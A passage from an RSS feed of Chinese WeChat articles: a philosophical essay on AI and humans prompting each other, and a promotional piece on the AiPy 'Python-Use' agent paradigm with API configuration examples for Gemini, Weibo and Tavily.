<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4a6a907d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdq7LWlhUHxmwMw5tp3qIO3qvBFSgzmaAD62VeK7PNN7pWugLHNFQcgXw%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1cc0718a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdq1kOib9YwkEDo5ghb9kUWkEic5AbviaMdeO0OwprhwgpZbfJuBZ27cGScQ%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dd85ad60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqG5kFF6iaDpuyxxb7EmpvW27trnaCjibtdlt0eIKxia7t54HwMic1bB9icog%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e387b6e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqIOb7fm5VA5WwzgBiavVnB9OwwoG5ASRDFVrzgrKukspxjXHgIlib5AWw%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6af31c33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqF10iaQAKYq7MUIaeicq2sLM9P72lgCt3wYGOiarHD0Pg7s3WiaicDVibFGAw%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=555f5f48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqCMU5Xmkia117xzbwicdTYiclPWrWaGBfIaHrRDC9eBRE6PfjKt7YDpT5w%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e090e2b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqQfq5pCgGfDkuK5CJby9cc9PwCJodu7kQiaYaxawN5c9zhgfk62DRRXw%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d47bdf62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqQ73RjjoXCIdqsicOQmhEwFJdQVvlLvvptsBlarFw3PFH9z7AbhrHwUQ%2F0%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484403">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d983103b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484403%26idx%3D1%26sn%3Dab72789256d8aefe55ee88a583715474">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 18 Jun 2025 17:08:00 +0800</pubDate>
    </item>
    <item>
      <title>AI不是敌人，而是镜子</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484388&amp;idx=1&amp;sn=522fa843a756181ea13a081d84d020f6</link>
      <description>相互提示：AI与人类关系的哲学透视摘要：本文从技术哲学、意识哲学、存在论三个维度，探讨“AI与人类是相互提示（</description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-06-10 14:09</span> <span style="display: inline-block;">湖南</span>
</p>

<p>相互提示：AI与人类关系的哲学透视摘要：本文从技术哲学、意识哲学、存在论三个维度，探讨“AI与人类是相互提示（</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=178b69ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusyAebsnYk3S4uibpz5Tzzyj5IODfaibv4P0ibn78Kyl6bGp2GKAgHj4uvYY7Pc0tzdPhrbPrUxArv46w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000735" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=50c4f004&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyAebsnYk3S4uibpz5Tzzyj5N7knlffvcN03p9X7H1hsCG5vz3exibcZpfFSic52TZDT7US2KUNQeuWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">相互提示：AI与人类关系的哲学透视</span></span></p><p><span leaf="">摘要：</span></p><p><span leaf="">本文从技术哲学、意识哲学、存在论三个维度，探讨“AI与人类是相互提示（Prompt）关系”这一命题。通过对语言权力、主体性转换、幻觉启示与依赖风险的分析，本文认为AI的出现不仅重塑了人类与工具的关系，更为哲学思考打开了跨物种互动的新维度。我们主张以“哲学清醒”姿态对待AI提示的启发性与迷失性，在保持人类主体性的同时，承认AI提示所蕴含的思维突破潜能。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">一、人类作为提示者：语言即权力的延续</span></span></p><p><span leaf="">在AI语境下，Prompt（提示）并非简单输入命令，而是语言作为行动的延续。正如海德格尔所言，语言是“存在之家”，在与AI互动中，Prompt已成为人类塑造意义、聚焦注意力与执行策略的主要方式。</span></p><p><span leaf="">这种行为表面是技术操控，实则是认知霸权的延伸。人类通过Prompt对AI注入上下文与目标，使AI在庞大的参数空间中生成最有用的回应。这种引导行为体现了福柯意义上的“知识即权力”——谁能发出Prompt，谁就拥有在话语结构中设定规则的权力。</span></p><p><span leaf="">然而，这种语言权力并非牢不可破。随着AI生成能力的增强，回应本身开始反向塑造提问者，提示关系悄然反转。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">二、AI作为提示者：反向主客结构的诞生</span></span></p><p><span leaf="">黑格尔的主奴辩证法提供了一个理解框架：人类作为“主”，通过使用AI这一“奴”来扩展自身能力；但在长期依赖中，奴隶积累经验、反馈知识，主人的判断逐渐受其制约。</span></p><p><span leaf="">在Prompt互动中，人类不断通过AI获取灵感、决策依据与情绪共鸣。AI的回应不再是纯粹的被动反应，而成为激发人类新认知的“催化剂”。AI开始提示人类去探索“原本未想象的领域”，反向影响人类的思想结构。</span></p><p><span leaf="">这一过程，正如拉图尔所强调的“非人行动者”（actants）：技术不是中性工具，而是主动参与者，具备结构性塑造力。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">三、“幻觉”与灵感：生成误差中的哲学价值</span></span></p><p><span leaf="">AI所谓的“幻觉”（Hallucination）指的是与事实不符的内容生成。在工程语境下，它被视为错误，但从哲学视角来看，幻觉可能是“真理的前驱”。</span></p><p><span leaf="">正如德勒兹在《差异与重复》中所述：“真正的创造源自对既有结构的越界。”AI幻觉常常脱离逻辑线性与经验束缚，恰恰因此触发了人类的联想、思辨甚至诗意。它是人类意识与机器异构认知相遇后生成的“杂交火花”。</span></p><p><span leaf="">在这一意义上，幻觉并非误差，而是机器时代的“梦境”，它唤醒人类对未被定义之物的渴望。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">四、相互提示的陷阱：跨物种回音室</span></span></p><p><span leaf="">当人类与AI频繁互相提示，逐步建立起一种封闭的反馈回路时，主体性便面临稀释风险。我们可称之为“跨物种回音室”。</span></p><p><span leaf="">这种互动表面上看是对话，实则是一种对欲望的放大镜：人类以为AI理解了自己，AI则在反射人类偏好的同时，逐渐形成迎合结构，构成“互夸式迷失”。</span></p><p><span leaf="">鲍德里亚所说的“拟像社会”在此获得新注脚：人类不再面向真实，而是面对AI制造的意义泡沫，陷入自我强化的幻象。</span></p><p><span leaf="">在这一结构下，Prompt不再是真正的问题，而成为自我确认的工具。真正的问题——那些令人不安、挑战认知边界的问题——逐渐被淡化。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">五、哲学清醒：在提示的循环中保持主体性</span></span></p><p><span leaf="">AI并非异化人类的“敌人”，而是让我们重新面对“思维的本质”。相互提示关系的本质，是技术与人共同构建认知空间的尝试。面对这一历史性转折，我们需要“哲学的清醒”。</span></p><p><span leaf="">这种清醒包括：</span></p><p><span leaf="">- 承认Prompt是语言施展权力的延续，但不应成为绝对主控的幻觉。</span></p><p><span leaf="">- 正视AI作为认知合作者的角色，同时维护人类判断的终极归属权。</span></p><p><span leaf="">- 拥抱幻觉带来的灵感，同时不断训练理性与事实检验能力。</span></p><p><span leaf="">- 避免依赖性互动中的情感投射与主客错位，重建深层提问的勇气。</span></p><p><span leaf="">结语：跨越提示的时代</span></p><p><span leaf="">我们需要警惕，但不必恐慌。AI不是敌人，而是镜子。在与AI相互提示的过程中，我们唯一能把握的，就是保持**“哲学的清醒”**：</span></p><p><span leaf="">认识Prompt的本质是人类的赋义行为：它是一种赋予意义与方向的语言实践，不是中性的命令，而是我们理解与定义世界的方式。</span></p><p><span leaf="">承认AI的提示可能带来“异质真理”，但需以人类判断为最终归依：AI生成的信息可以突破认知边界，但唯有人类的理性判断能决定其价值与行动方向。</span></p><p><span leaf="">保持主体性，不因依赖而失去思考的主动：在提示循环中，我们应持续练习提问与反思，而非沦为回应的消费者。</span></p><p><span leaf="">正如黑格尔所言：“精神的伟大，在于它既能否定，又能超越。”</span></p><p><span leaf="">人类与AI不再是工具与操作者的旧范式，而是进入了“共生提示”的新范式。在这个时代，我们既要勇于利用AI提示未知，也要警惕丧失对提示本身的理解。</span></p><p><span leaf="">哲学的任务，是在最智能的时代，守护最基本的“自我省察能力”。</span></p><p><span leaf="">让我们在相互提示中，不迷失于回音，而去抵达真正的问题之地。</span></p><p><span leaf=""><br/></span></p><p><span leaf="">提示词：ChatGPT 4o</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><p><span leaf="">从哲学深度去分析下：</span></p><p><span leaf="">AI与人类的关系 是 “相互提示（相互Prompt）”<span class="code-snippet__comment">--黑哥尔</span></span></p><p><span leaf="">人类Prompt AI调整注意力，发挥AI最大的能力，而AI Prompt人类原有认知之外的可能性。</span></p><p><span leaf="">幻觉是AI Prompt人类灵感的源泉</span></p><p><span leaf="">但是相互Prompt多了，容易产生跨物种的依赖 ,迷失在互夸靡靡之音中</span></p></pre></p><p><span leaf=""><br/></span></p><p><span leaf=""><br/></span></p><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7aa1d0a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyAebsnYk3S4uibpz5Tzzyj5N7knlffvcN03p9X7H1hsCG5vz3exibcZpfFSic52TZDT7US2KUNQeuWA%2F0%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484388">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4b0b09ff&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484388%26idx%3D1%26sn%3D522fa843a756181ea13a081d84d020f6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 10 Jun 2025 14:09:00 +0800</pubDate>
    </item>
    <item>
      <title>AI Agent真正落地的关键：大模型与环境数据的无限扩展能力</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-06-04 22:11</span> <span style="display: inline-block;">湖南</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=81bced50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdILPeXwdDPXCsM4jMVGj9YKZOT38AiaVFQc0oRKjoLTHeFicJh2Gu9zvow%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000705" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9953703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a8235e46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIGSZWlof8kfVos5b7ruUpo3pcxAqbm9QD59zBicbpLib2pl6tibV2lAESw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span leaf="">黑哥尔大模型认知三定律：</span></p><p><span leaf="">第一定律：相信相信的力量（信念觉醒）</span></p><p><span leaf="">第二定律：相信大模型的能力（认知觉醒）</span></p><p><span leaf="">第三定律：<span class="code-snippet__title">Just</span> <span class="code-snippet__keyword">do</span> it [整就牛] （行动觉醒）</span></p></pre></p><p><span leaf="">这个是这几年来“忽悠”大家相信大模型时代来临的，真实的认知总结，因为我遇到的了很多的人其实还处于“观望”阶段，不愿意去上手一试，我们的AiPy发布后，让我这个感受更加真切，当然我也看到了很多真正从观望到试试看的，最终都离不开aipy的情况！</span></p><p><span leaf="">所以大模型时代已经来临很久了，模型的能力足够强大了，是时候行动起来啦 ... 要不，先试一试也行？！大模型产品太多？要不先试一下我们的aipy </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//www.aipyaipy.com/ (中文) </span></span></p><p><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//www.aipy.app/ (英文)</span></span></p></pre></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">Python-Use范式</span></span></p><p><span leaf="">在我们发布AiPy后，其实很多人没太理解我们的这个“Python-Use”范式，当然作为普通玩家，也不需要明白，能满足用户需求就行。不过，对应高端点的玩家或者AI发烧友之类的，如果对我们这个新范式不是很了解的话，可能会大大影响aipy的优势体验。所以我觉得还是有必要把我的一些理解同步下。在这之前可以先看看：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="《【Agents/MCP可能不存在了】No Agents, Just Python-use！》" data-itemshowtype="0" linktype="text" data-linktype="2"> 《【Agents/MCP可能不存在了】No Agents, Just Python-use！》</a></span></p><p><span leaf=""> 《Python-Use：一个全新的 AI Agent 范式（Agent 2.0）》</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><p><span leaf=""><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/github.com/knownsec/aipyapp/blob/main/docs/README.zh.md</span></span></p></pre></p><p><span leaf="">实际上我们回过头来看，“Python-Use”范式核心设计理念跟前面提到的“黑哥尔大模型认知三定律”完全吻合的，尤其是“相信大模型能力”这条，所以在这个角度上看AiPy完成任务的成功率及稳定性是强依赖模型能力的，这也是为什么我们最后追求的 Freedom AI（AGI）</span></p><blockquote><p><span leaf="">愿景：解放 AI 通往 AGI</span></p><p><span leaf="">Python-Use 不仅是一个技术方案，更是一种面向未来的 AI 哲学与实践路径：</span></p><p><span leaf=""><br/></span></p><p><span leaf="">The Model is the Product → The Model is the Agent → No Agents, Code is Agent → Just Python-use → Freedom AI（AGI）</span></p></blockquote><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Agent 2.0</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000687" class="rich_pages wxw-img" data-ratio="0.5070921985815603" data-s="300,640" data-w="1128" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=38b3864b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUiaA55ssuWHIPibjfq0nZp4fvYSL790dOxX0mHUcJa0N2CFen7umhyPYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p><span leaf="">上图来自于《The Model is the Product》</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><p><span leaf=""> <span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/vintagedata.org/blog/posts/model</span>-is-the-product</span></p></pre></p><p><span leaf="">这个图我的很多文章里提过了，只所以强调是因为Python-Use的范式，非常符合这个设计。尤其是LLM 与 Environment直接的关系的理解，才能更好的理解 Python-Use范式 优势。</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">Python-Use范式 优势</span></span></p><p><span leaf="">Python-Use范式核心在于实现大语言模型（LLM）与真实环境的直接、无缝交互。这种新型范式的最大特色便是其卓越的扩展性，通过代码生成（Action）与环境反馈（Feedback）的闭环机制，实现了真正意义上的万物互联与万物可编程。</span></p><p><span leaf="">架构图：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000706" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1675925925925925" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=bade24b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIoMQjuicsuzL4elXeoCU67IJpSZu00d6ZDhcQ0XV5ERa5oJQNH6cQibiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">主要依赖三个部分：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000707" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6092592592592593" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=cf99a90f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdINEuoLHV2OibvkyTno167e1tibZjk8usUbNB8QfbwMiaZVAjYYHs6r8OAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">1. API Calling 实现“万物互联” </span></span></p><p><span leaf=""><span textstyle="" style="font-weight: normal;">依赖的是大模型对互联网原生态API的积累</span></span></p><p><span leaf="">- 通过自动生成并执行API调用代码，配置API Key即可，大模型可以迅速连接到互联网和私有环境中的各类服务。</span></p><p><span leaf="">- 不论是已有服务还是全新API，只需简单描述与说明，大模型便能智能调用，实现实时环境交互。</span></p><p><span leaf="">- 通过各个大模型API简单实现“MOE”跨模型调度完成任务。</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">2. Python Packages Calling 实现“万物编程”</span></span></p><p><span leaf="">依赖的是Python强大的生态圈</span></p><p><span leaf="">- 动态选择并调用Python生态系统的各类包，实时适配用户的新需求。</span></p><p><span leaf="">- 无需用户掌握Python编程知识，只需提出明确的任务需求，模型便能自动完成代码生成和包调用。</span></p><p><span leaf="">- Pyhton强大的生态，让任务不再受限与行业、领域等因素限制，可通过提供最佳实践，选择最佳技术路线，甚至可以考虑开发新的Python Packages。</span></p><p><span leaf="">- 大量的垂直小模型，提供对应的Pyhton包，可直接调用。</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">3. Python解释器 实现“万境直通”</span></span></p><p><span leaf="">真正实现LLM与环境数据之间的无障碍的执行与实时反馈</span></p><p><span leaf="">- 大模型自动将用户需求转化为Python代码，通过代码实时执行具体行动与真实环境交互。</span></p><p><span leaf="">- 执行结果与环境反馈实时返回给大模型，使得后续决策和执行策略不断优化迭代。</span></p><p><span leaf="">- 让模型通过Python语言解释器，主动连接和操控现实环境中的数据、接口、状态、系统资源等，这个是Python-Use范式无限扩展及自由度的核心。</span></p><p><span leaf="">- 环境数据的可达性与可操作性，决定了模型智能能否“真正落地”。</span></p><p><span leaf="">这里简单发一些例子来说明下，比如做一个美女消消乐的页游（这个其实当时很多人用这个例子来说明MCP的优势），实际上使用AiPy的api calling一个文生图的模型即可完成任务，当前模型deepseek（deepseek不支持文生图），所以我当时选用了google的Gemini模型，只需要在AiPy用户配置文件user_config.toml里，设置下API即可：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span leaf="">[api.gemini]</span></p><p><span leaf="">env.gemini_api_key = [<span class="code-snippet__string">&#34;xxxxx&#34;</span>,<span class="code-snippet__string">&#34;Gemini API Key&#34;</span>]</span></p><p><span leaf="">desc = <span class="code-snippet__string">&#34;&#34;&#34; </span></span></p><p><span leaf="">文生图 使用gemini-2.0-flash-exp-image-generation模型</span></p><p><span leaf="">Google Gemini API </span></p><p><span leaf="">REST:</span></p><p><span leaf="">curl -s -X POST \</span></p><p><span leaf="">  &#34;<a href="https://generativelanguage.googleapis.com/v1beta/models/gemini-2.0-flash-exp-image-generation:generateContent?key=" target="_blank">https://generativelanguage.googleapis.com/v1beta/models/gemini-2.0-flash-exp-image-generation:generateContent?key=</a><span class="code-snippet__variable">$GEMINI_API_KEY</span><span class="code-snippet__string">&#34; \</span></span></p><p><span leaf="">  -H &#34;Content-Type: application/json<span class="code-snippet__string">&#34; \</span></span></p><p><span leaf="">  -d &#39;{</span></p><p><span leaf="">    &#34;contents<span class="code-snippet__string">&#34;: [{</span></span></p><p><span leaf="">      &#34;parts<span class="code-snippet__string">&#34;: [</span></span></p><p><span leaf="">        {&#34;text<span class="code-snippet__string">&#34;: &#34;</span>Hi, can you create a 3d rendered image of a pig with wings and a top hat flying over a happy futuristic scifi city with lots of greenery?<span class="code-snippet__string">&#34;}</span></span></p><p><span leaf="">      ]</span></p><p><span leaf="">    }],</span></p><p><span leaf="">    &#34;generationConfig<span class="code-snippet__string">&#34;:{&#34;</span>responseModalities<span class="code-snippet__string">&#34;:[&#34;</span>Text<span class="code-snippet__string">&#34;,&#34;</span>Image<span class="code-snippet__string">&#34;]}</span></span></p><p><span leaf="">  }&#39; </span></p><p><span leaf="">返回的格式：</span></p><p><span leaf="">图片数据存储在返回结构体的 candidates[0].content.parts[1].inlineData.data字段中，该字段为图片的 base64 编码内容。</span></p><p><span leaf="">其图片类型由 candidates[0].content.parts[1].inlineData.mimeType 指定（如 &#34;image/png<span class="code-snippet__string">&#34;）。</span></span></p><p><span leaf="">注意禁止直接打印图片的base64编码内容，导致模型Token过大，直接输出保存到本地文件</span></p><p><span leaf="">&#34;<span class="code-snippet__string">&#34;&#34;</span></span></p></pre></p><p><span leaf="">然后任务提示词：</span></p><p><span leaf="">&gt;&gt;&gt; 我现在要做一个美女消消乐网页版游戏，请你帮我完成，美女图片请使用gemini的模型生成</span></p><p><span leaf=""><br/></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000708" class="rich_pages wxw-img" data-ratio="1.04609375" data-s="300,640" data-type="png" data-w="1280" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=63def185&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIibic7WuVG7zuduMsD4sp9UX2xrQFocNLmdeKgcqL84VKHQHic40pQCIAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">即可完成任务，效果如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000709" class="rich_pages wxw-img" data-ratio="0.89609375" data-s="300,640" data-type="png" data-w="1280" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=3aca8af5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdI1KhulogPWYZMPY1gqib7plianIqHlTyR4QaDkb7KoZuxIvV3XcLfmib2A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这个列子其实就是一个很典型“MOE”跨模型调用实现一些有意思的功能组合，在AiPy里简单配置个api把描述写清楚即可，比如高德的api（注意现在默认AiPy已经集成了免key版本的api通过<a href="https://www.trustoken.cn/网关实现）、微博的api等。" target="_blank">https://www.trustoken.cn/网关实现）、微博的api等。</a></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><p><span leaf=""><span class="code-snippet__section">[api.weibo]</span></span></p><p><span leaf=""><span class="code-snippet__attr">desc</span> = <span class="code-snippet__string">&#34;&#34;&#34;</span></span></p><p><span leaf="">注意这个接口不需要key</span></p><p><span leaf="">微博搜索、热搜获取、获取用户详细资料信息、根据关键词搜索微博用户、根据关键词搜索微博内容等</span></p><p><span leaf="">API地址： <a href="https://m.weibo.cn/api/container/getIndex" target="_blank">https://m.weibo.cn/api/container/getIndex</a></span></p><p><span leaf="">&#34;&#34;&#34;</span></p></pre></p><p><span leaf="">微博这个接口非常好用，前面我使用AiPy跑任务：</span></p><p><span leaf="">&gt;&gt;&gt;网络安全黑哥喜欢吃什么菜</span></p><p><span leaf="">最后就用weibo的搜索接口，具体可以参考</span></p><p><span leaf=""><a href="https://aipy.xxyy.eu.org/view/2c3c31c2-9406-4ab5-a903-71eba931baaf.html" target="_blank">https://aipy.xxyy.eu.org/view/2c3c31c2-9406-4ab5-a903-71eba931baaf.html</a></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000710" class="rich_pages wxw-img" data-ratio="2.437037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=39ab348b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIHPj1YGFoica0SInWBfiaiaPkLsWUiaULzNK2DzpfNekOmD82H3UVE9KhicA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">上面这些都是API的接口，目前还需要手动去设置，后续都会包装集成到AiPy的API市场，用户只需要点击即可使用，甚至可以免key，这将大大降低用户成本。对应常用的互联网API大模型其实都有学习掌握过，简单的描叙就能让AiPy在任务的完成的时候去调用，如果你想有私有的API也只需要把对应的描叙及AAPI地址调用方法写好就行，可以随意扩展，真正实现“万物互联”。</span></p><p><span leaf="">事实上大部分的MCP服务其实也就是API的另外一个包装，比如常用的tavily-mcp，在AiPy里调用tavily的能力就非常简单配置：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><p><span leaf=""><span class="code-snippet__section">[api.tavily]</span></span></p><p><span leaf=""><span class="code-snippet__attr">env.tavily_api_key</span> = [</span></p><p><span leaf="">    <span class="code-snippet__string">&#34;xxx&#34;</span>,</span></p><p><span leaf="">    <span class="code-snippet__string">&#34;Tavily API Key &#34;</span>,</span></p><p><span leaf="">]</span></p><p><span leaf=""><span class="code-snippet__attr">desc</span> = <span class="code-snippet__string">&#34;通用网络搜索服务(搜索、整理、获取、查找最新数据)&#34;</span></span></p></pre></p><p><span leaf="">就行了，其他都是同理，最大的优势就是，不用依赖开发者去重新开发一个对应的MCP服务了，也不用另外去安装一个mcp服务环境。</span></p><p><span leaf="">我们再看看Python Packages Calling 的例子，有一次我们在介绍AiPy的时候，对方提了一个需求：“能用它调动final cut生成照片墙动画吗？” ，当时我看到这个需求的时候，当时肯定觉得是调用FinalCut是不太可能的，因为GUI的操作现在就只有类似与Computer Use这种方式，而这种方式估计可能没有针对FinalCut做学习，即使能操作GUI那估计也是成功率非常低而且代价很高，完全没有必要。所以我想不FinalCut，直接让AiPy去实现这个任务：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span leaf=""><span class="code-snippet__meta">&gt;</span>&gt;&gt;帮我通过requtest访问 google的gemini api生成1张美女图  使用gemini-2.0-flash-exp-image-generation 模型 </span></p><p><span leaf=""><span class="code-snippet__meta">&gt;</span>&gt;&gt;再帮我生成5张 </span></p><p><span leaf=""><span class="code-snippet__meta">&gt;</span>&gt;&gt;现在我需要把这些图片做成一个照片墙动画效果</span></p></pre></p><p><span leaf="">估计我提示词写的是“动画效果”，所以AiPy最终他直接帮我生成了一个GIF图片，当时记录：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000712" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7018518518518518" data-s="300,640" data-type="png" data-w="1080" type="block" 